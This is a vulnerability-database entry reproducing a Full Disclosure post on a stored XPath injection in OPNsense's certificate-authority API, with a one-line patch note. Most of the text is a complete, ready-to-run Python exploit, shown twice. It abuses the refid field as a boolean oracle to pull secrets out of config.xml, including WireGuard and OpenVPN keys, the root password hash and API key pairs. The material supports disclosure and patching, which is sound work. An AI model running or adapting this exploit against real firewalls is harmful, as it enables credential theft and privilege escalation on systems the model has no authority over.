GCVE-1988-2026-0022
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 11:35
VLAI
EPSS
VEX
Title
OPNsense XPATH Injection (CVE-2026-53582)
Summary
SUMMARY: a stored XPATH injection allows any user with just ca
manager/certificate manager perms to leak any secret key/any value in
config.xml, thus achieving privilege escalation and potentially remote
code execution. this can also likely be chained via csrf and some
clever hiding. see
https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r
== VULN ==
the primary vulnerable sink is here:
$refcount = count(Config::getInstance()->object()->xpath("//*[text() =
'{$node->refid}']")) - 1;
as we control node->refid, which can be seen in here:
protected function setBaseHook($node)
{
if (empty((string)$node->refid)) {
$node->refid = uniqid();
}
$error = false;
if (!empty((string)$node->prv_payload)) {
/** private key manually offered */
$node->prv = base64_encode((string)$node->prv_payload);
}
we know that if refid is empty it'll be a uniqid - which means its
meant to be alphanumeric. notably, there are no preg_match/regex
matches that check whether or not a user supplied refid isnt
alphanumeric. in this case, we can now test this by hitting this
endpoint:
POST /api/trust/ca/add HTTP/12.1
Content-Type: application/x-www-form-urlencoded
ca[refid]=<payload>&ca[descr]=hi+lol&ca[action]=internal&ca[commonname]=hey&ca[key_type]=2048&ca[digest]=sha256&ca[lifetime]=825&ca[country]=NL&ca[state]=idk&ca[city]=lo&ca[organization]=x&ca[email]=asdf
() example com
to truly exploit this we can write a script that turns the xpath
injection we have into a decent boolean oracle, then slowly leak each
character. for example, an openvpn private key or a root password
hash.
== xp ==
import argparse
import string
import sys
import random
import threading
from concurrent.futures import ThreadPoolExecutor
from queue import Queue
import requests
import urllib3
urllib3.disable_warnings()
# yeah idk dude iiwiw lol
targs = {
"wgppk": "//OPNsense/wireguard/server/servers/server/privkey",
"wgpsk": "//OPNsense/wireguard/client/clients/client/psk",
"hasyncpw": "//hasync/password",
"roothash": "//system/user/password",
"rootkey": "//system/user/apikeys/item/key",
"rootsecret": "//system/user/apikeys/item/secret",
"openvpnkey": "//OPNsense/OpenVPN/Instances/Instance/key"
}
cset = sorted(set(string.ascii_letters + string.digits + "+/=$._-:; "))
# print("".join(cset))
makecanary = lambda: f"__TUNG_{random.randint(100000, 999999)}__"
total = 0
lock = threading.Lock()
# mega ass
def sesh(a):
s = requests.Session()
s.auth = a
s.verify = False
return s
def prober(s, base, n):
canary = makecanary()
r = s.post(f"{base}/api/trust/ca/add", data={
"ca[refid]": canary, "ca[descr]": f"p{n}",
"ca[action]": "internal", "ca[commonname]": f"p{n}",
}, timeout=30)
return r.json().get("uuid", "n/a"), canary
def inj(s, base, ca_uuid, nx, condition):
global total
payload = f"{nx}' or ({condition}) or 'x'='"
s.post(
f"{base}/api/trust/ca/set/{ca_uuid}",
data={"ca[refid]": payload},
timeout=30,
)
r = s.get(f"{base}/api/trust/ca/get/{ca_uuid}", timeout=30)
with lock:
total += 1
ca = r.json().get("ca", {})
# refcount = int(ca["refcount"])
refcount = int(ca.get("refcount", "0"))
return refcount > 0
def getlen(s, base, ca, nx, xpath):
lo, hi = 0, 300
while lo < hi:
mid = (lo + hi + 1) // 2
if inj(s, base, ca, nx, f"string-length({xpath})>={mid}"):
lo = mid
else:
hi = mid - 1
return lo
def binsrch(s, base, ca, nx, xpath, pos):
cands = cset[:]
while len(cands) > 1:
midpoint = len(cands) // 2
half = "".join(cands[:midpoint])
cond = f"contains('{half}', substring({xpath},{pos},1))"
if inj(s, base, ca, nx, cond):
cands = cands[:midpoint]
else:
cands = cands[midpoint:]
c = cands[0]
if c == "'":
lit = f'"{c}"'
else:
lit = f"'{c}'"
cond = f"substring({xpath},{pos},1)={lit}"
if inj(s, base, ca, nx, cond):
return c
return None
def extract(workers, base, xpath):
s0, ca0, nx0 = workers[0]
length = getlen(s0, base, ca0, nx0, xpath)
if length == 0:
return ""
print(f"+ maybe {length} len")
result = ["?"] * length
wq = Queue()
for w in workers:
wq.put(w)
# start grabbing
def do(pos):
s, ca, nx = wq.get()
try:
return pos, binsrch(s, base, ca, nx, xpath, pos + 1)
finally:
wq.put((s, ca, nx))
with ThreadPoolExecutor(max_workers=len(workers)) as pool:
# for pos, ch in pool.map(doer_func(p), range(length)):
for pos, ch in pool.map(lambda p: do(p), range(length)):
if ch:
result[pos] = ch
sys.stdout.write(ch or "#")
sys.stdout.flush()
print()
return "".join(result)
def main():
global total
print("xray")
target_names = list(targs.keys())
target_list = "\n".join(f"{k}:{v}" for k, v in targs.items())
# i gave it a bs name
parser = argparse.ArgumentParser(
description="x-ray",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="extractables:\n" + target_list,
)
parser.add_argument("targ", help="base url")
parser.add_argument("api_key", help="you need this")
parser.add_argument("api_secret", help="this too")
parser.add_argument("target", nargs="?", default="all",
choices=target_names + ["all"], help="target to extract")
parser.add_argument("-w", "--workers", type=int, default=8,
help="how many workers in parallel")
args = parser.parse_args()
base = args.targ.rstrip("/")
auth = (args.api_key, args.api_secret)
s = sesh(auth)
r = s.get(f"{base}/api/trust/ca/search", timeout=10)
if r.status_code != 200:
print("- bro")
sys.exit(1)
print("+ oh sweet we can access the ca api")
workers = []
for i in range(args.workers):
ws = sesh(auth)
uuid, nx = prober(ws, base, i)
if not uuid:
print("creating probe failed (prober)")
sys.exit(1)
workers.append((ws, uuid, nx))
print(f"+ {args.workers} probing\n")
# extract
if args.target == "all":
targets = targs
else:
targets = {args.target: targs[args.target]}
for name, xpath in targets.items():
print(f"+ {name}")
s0, ca0, nx0 = workers[0]
if not inj(s0, base, ca0, nx0, f"boolean({xpath})"):
print("n/a")
continue
val = extract(workers, base, xpath)
print(f"{repr(val)} ({total} reqs)\n")
# finally: # nvm
# cleanup but not really beacuse im lazy
for ws, ca, nx in workers:
ws.post(f"{base}/api/trust/ca/set/{ca}", data={"ca[refid]": nx}, timeout=30)
print(f"+ done {total}")
if __name__ == "__main__":
main()
== PATCH/MITIG ==
update to 26.1.10. alternatively, add a preg_match guard and an input
mask to Ca.xml by hand (if youre about that life)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Jul/18 | technical-description |
| https://github.com/opnsense/core/security/advisor… | |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| Opnsense | XPATH Injection |
Affected:
unknown
|
guessed |
{
"containers": {
"cna": {
"affected": [
{
"product": "XPATH Injection",
"vendor": "Opnsense",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "evan"
}
],
"descriptions": [
{
"lang": "en",
"value": "SUMMARY: a stored XPATH injection allows any user with just ca\nmanager/certificate manager perms to leak any secret key/any value in\nconfig.xml, thus achieving privilege escalation and potentially remote\ncode execution. this can also likely be chained via csrf and some\nclever hiding. see\nhttps://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r\n\n\n== VULN ==\nthe primary vulnerable sink is here:\n\n$refcount = count(Config::getInstance()-\u003eobject()-\u003expath(\"//*[text() =\n\u0027{$node-\u003erefid}\u0027]\")) - 1;\n\nas we control node-\u003erefid, which can be seen in here:\n\n protected function setBaseHook($node)\n {\n if (empty((string)$node-\u003erefid)) {\n $node-\u003erefid = uniqid();\n }\n $error = false;\n if (!empty((string)$node-\u003eprv_payload)) {\n /** private key manually offered */\n $node-\u003eprv = base64_encode((string)$node-\u003eprv_payload);\n }\n\nwe know that if refid is empty it\u0027ll be a uniqid - which means its\nmeant to be alphanumeric. notably, there are no preg_match/regex\nmatches that check whether or not a user supplied refid isnt\nalphanumeric. in this case, we can now test this by hitting this\nendpoint:\n\nPOST /api/trust/ca/add HTTP/12.1\nContent-Type: application/x-www-form-urlencoded\n\nca[refid]=\u003cpayload\u003e\u0026ca[descr]=hi+lol\u0026ca[action]=internal\u0026ca[commonname]=hey\u0026ca[key_type]=2048\u0026ca[digest]=sha256\u0026ca[lifetime]=825\u0026ca[country]=NL\u0026ca[state]=idk\u0026ca[city]=lo\u0026ca[organization]=x\u0026ca[email]=asdf\n () example com\n\nto truly exploit this we can write a script that turns the xpath\ninjection we have into a decent boolean oracle, then slowly leak each\ncharacter. for example, an openvpn private key or a root password\nhash.\n\n\n== xp ==\n\nimport argparse\nimport string\nimport sys\nimport random\nimport threading\nfrom concurrent.futures import ThreadPoolExecutor\nfrom queue import Queue\nimport requests\nimport urllib3\n\nurllib3.disable_warnings()\n# yeah idk dude iiwiw lol\n\ntargs = {\n \"wgppk\": \"//OPNsense/wireguard/server/servers/server/privkey\",\n \"wgpsk\": \"//OPNsense/wireguard/client/clients/client/psk\",\n \"hasyncpw\": \"//hasync/password\",\n \"roothash\": \"//system/user/password\",\n \"rootkey\": \"//system/user/apikeys/item/key\",\n \"rootsecret\": \"//system/user/apikeys/item/secret\",\n \"openvpnkey\": \"//OPNsense/OpenVPN/Instances/Instance/key\"\n}\n\ncset = sorted(set(string.ascii_letters + string.digits + \"+/=$._-:; \"))\n# print(\"\".join(cset))\n\n\nmakecanary = lambda: f\"__TUNG_{random.randint(100000, 999999)}__\"\n\ntotal = 0\nlock = threading.Lock()\n\n# mega ass\ndef sesh(a):\n s = requests.Session()\n s.auth = a\n s.verify = False\n return s\n\n\ndef prober(s, base, n):\n canary = makecanary()\n r = s.post(f\"{base}/api/trust/ca/add\", data={\n \"ca[refid]\": canary, \"ca[descr]\": f\"p{n}\",\n \"ca[action]\": \"internal\", \"ca[commonname]\": f\"p{n}\",\n }, timeout=30)\n return r.json().get(\"uuid\", \"n/a\"), canary\n\n\ndef inj(s, base, ca_uuid, nx, condition):\n global total\n payload = f\"{nx}\u0027 or ({condition}) or \u0027x\u0027=\u0027\"\n s.post(\n f\"{base}/api/trust/ca/set/{ca_uuid}\",\n data={\"ca[refid]\": payload},\n timeout=30,\n )\n r = s.get(f\"{base}/api/trust/ca/get/{ca_uuid}\", timeout=30)\n with lock:\n total += 1\n ca = r.json().get(\"ca\", {})\n # refcount = int(ca[\"refcount\"])\n refcount = int(ca.get(\"refcount\", \"0\"))\n return refcount \u003e 0\n\n\ndef getlen(s, base, ca, nx, xpath):\n lo, hi = 0, 300\n while lo \u003c hi:\n mid = (lo + hi + 1) // 2\n if inj(s, base, ca, nx, f\"string-length({xpath})\u003e={mid}\"):\n lo = mid\n else:\n hi = mid - 1\n return lo\n\n\ndef binsrch(s, base, ca, nx, xpath, pos):\n cands = cset[:]\n while len(cands) \u003e 1:\n midpoint = len(cands) // 2\n half = \"\".join(cands[:midpoint])\n cond = f\"contains(\u0027{half}\u0027, substring({xpath},{pos},1))\"\n if inj(s, base, ca, nx, cond):\n cands = cands[:midpoint]\n else:\n cands = cands[midpoint:]\n\n c = cands[0]\n if c == \"\u0027\":\n lit = f\u0027\"{c}\"\u0027\n else:\n lit = f\"\u0027{c}\u0027\"\n\n cond = f\"substring({xpath},{pos},1)={lit}\"\n if inj(s, base, ca, nx, cond):\n return c\n return None\n\n\ndef extract(workers, base, xpath):\n s0, ca0, nx0 = workers[0]\n length = getlen(s0, base, ca0, nx0, xpath)\n if length == 0:\n return \"\"\n print(f\"+ maybe {length} len\")\n\n result = [\"?\"] * length\n\n wq = Queue()\n for w in workers:\n wq.put(w)\n # start grabbing\n def do(pos):\n s, ca, nx = wq.get()\n try:\n return pos, binsrch(s, base, ca, nx, xpath, pos + 1)\n finally:\n wq.put((s, ca, nx))\n\n with ThreadPoolExecutor(max_workers=len(workers)) as pool:\n # for pos, ch in pool.map(doer_func(p), range(length)):\n for pos, ch in pool.map(lambda p: do(p), range(length)):\n if ch:\n result[pos] = ch\n sys.stdout.write(ch or \"#\")\n sys.stdout.flush()\n\n print()\n return \"\".join(result)\n\n\ndef main():\n global total\n print(\"xray\")\n target_names = list(targs.keys())\n target_list = \"\\n\".join(f\"{k}:{v}\" for k, v in targs.items())\n # i gave it a bs name\n parser = argparse.ArgumentParser(\n description=\"x-ray\",\n formatter_class=argparse.RawDescriptionHelpFormatter,\n epilog=\"extractables:\\n\" + target_list,\n )\n parser.add_argument(\"targ\", help=\"base url\")\n parser.add_argument(\"api_key\", help=\"you need this\")\n parser.add_argument(\"api_secret\", help=\"this too\")\n parser.add_argument(\"target\", nargs=\"?\", default=\"all\",\nchoices=target_names + [\"all\"], help=\"target to extract\")\n parser.add_argument(\"-w\", \"--workers\", type=int, default=8,\nhelp=\"how many workers in parallel\")\n args = parser.parse_args()\n\n base = args.targ.rstrip(\"/\")\n auth = (args.api_key, args.api_secret)\n\n\n s = sesh(auth)\n r = s.get(f\"{base}/api/trust/ca/search\", timeout=10)\n if r.status_code != 200:\n print(\"- bro\")\n sys.exit(1)\n print(\"+ oh sweet we can access the ca api\")\n\n\n workers = []\n\n for i in range(args.workers):\n ws = sesh(auth)\n uuid, nx = prober(ws, base, i)\n if not uuid:\n print(\"creating probe failed (prober)\")\n sys.exit(1)\n workers.append((ws, uuid, nx))\n print(f\"+ {args.workers} probing\\n\")\n\n # extract\n if args.target == \"all\":\n targets = targs\n else:\n targets = {args.target: targs[args.target]}\n for name, xpath in targets.items():\n print(f\"+ {name}\")\n s0, ca0, nx0 = workers[0]\n if not inj(s0, base, ca0, nx0, f\"boolean({xpath})\"):\n print(\"n/a\")\n continue\n val = extract(workers, base, xpath)\n print(f\"{repr(val)} ({total} reqs)\\n\")\n # finally: # nvm\n # cleanup but not really beacuse im lazy\n for ws, ca, nx in workers:\n ws.post(f\"{base}/api/trust/ca/set/{ca}\", data={\"ca[refid]\": nx}, timeout=30)\n print(f\"+ done {total}\")\n\n\nif __name__ == \"__main__\":\n main()\n\n\n== PATCH/MITIG ==\n\nupdate to 26.1.10. alternatively, add a preg_match guard and an input\nmask to Ca.xml by hand (if youre about that life)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T11:35:41Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/18"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jul/18"
},
{
"url": "https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jul/18"
],
"discovery": "EXTERNAL"
},
"title": "OPNsense XPATH Injection (CVE-2026-53582)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0022",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/18",
"automated": true,
"contentSha256": "f2fd662c60bf7a79731c49d8575d20f4fef0d531037d854d1e62a37da499b1d9",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/18",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-07-03T10:56:32Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:20Z",
"dateUpdated": "2026-09-11T11:35:41Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0022"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.